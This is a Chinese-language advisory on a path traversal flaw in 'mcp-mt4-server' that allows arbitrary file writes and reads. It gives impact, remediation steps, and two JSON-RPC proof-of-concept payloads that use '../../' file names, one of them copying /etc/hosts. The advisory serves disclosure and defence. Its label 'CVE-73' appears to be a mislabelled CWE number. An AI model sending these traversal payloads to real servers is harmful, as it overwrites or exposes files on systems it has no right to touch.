# 漏洞总结:Arbitrary File Write Vulnerability in mcp-mt4-server ## 1. 漏洞概述 * **漏洞名称**:mcp-mt4-server 中的任意文件写入漏洞 (CVE-73) * **漏洞类型**:外部对文件名或路径的控制 (CWE-73) * **受影响组件**:`src/index.ts` 和 `windows-server/server.js` * **漏洞描述**: * 在 `sync_ea` 工具中,用户提供的 `ea_name` 参数被直接拼接到文件系统路径中,未验证路径是否位于预期的 `ea-strategies/active` 目录内。攻击者可利用 `../` 等序列创建或覆盖任意位置的恶意文件。 * 在 `sync_ea_from_file` 工具中,攻击者可通过 `file_path` 参数读取任意本地文件,并通过 `ea_name` 参数将内容写入任意位置。 * 在 `windows-server/server.js` 中,`POST /api/ea/upload` 接口接收的 `ea_name` 同样存在路径遍历问题,导致任意文件写入。 ## 2. 影响范围 * **受影响版本**:1.0.0 * **安全影响**: * **完整性 (高)**:攻击者可创建或覆盖任意可写文件。 * **可用性 (高)**:覆盖应用文件、日志或配置可破坏 MCP 服务器。 * **机密性 (低-中)**:可读取服务器进程可访问的任意文本文件。 * **CVSS 评分**:8.1 (High) ## 3. 修复方案 * **输入验证**:将 `ea_name` 视为标识符而非路径,拒绝路径分隔符、绝对路径、Windows 盘符等。 * **路径规范化**:使用 `path.resolve` 规范化路径,并强制确保写入目标位于预期的基础目录(如 `ea-strategies/active`)内。 * **权限控制**:限制 MCP 服务器访问权限,使用低权限账户运行,或在沙箱/容器中运行。 * **代码修复**:对 `sync_ea`、`compile_ea`、`sync_ea_from_file` 及 HTTP 上传接口应用相同的规范化检查。 ## 4. 概念验证 (POC) 代码 **利用 `sync_ea` 进行路径遍历写入:** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "sync_ea", "arguments": { "ea_name": "../../mt4-mcp-poc", "ea_content": "// path traversal poc" } } } ``` **利用 `sync_ea_from_file` 读取并写入任意文件:** ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "sync_ea_from_file", "arguments": { "file_path": "/etc/hosts", "ea_name": "../../copied-hosts" } } } ```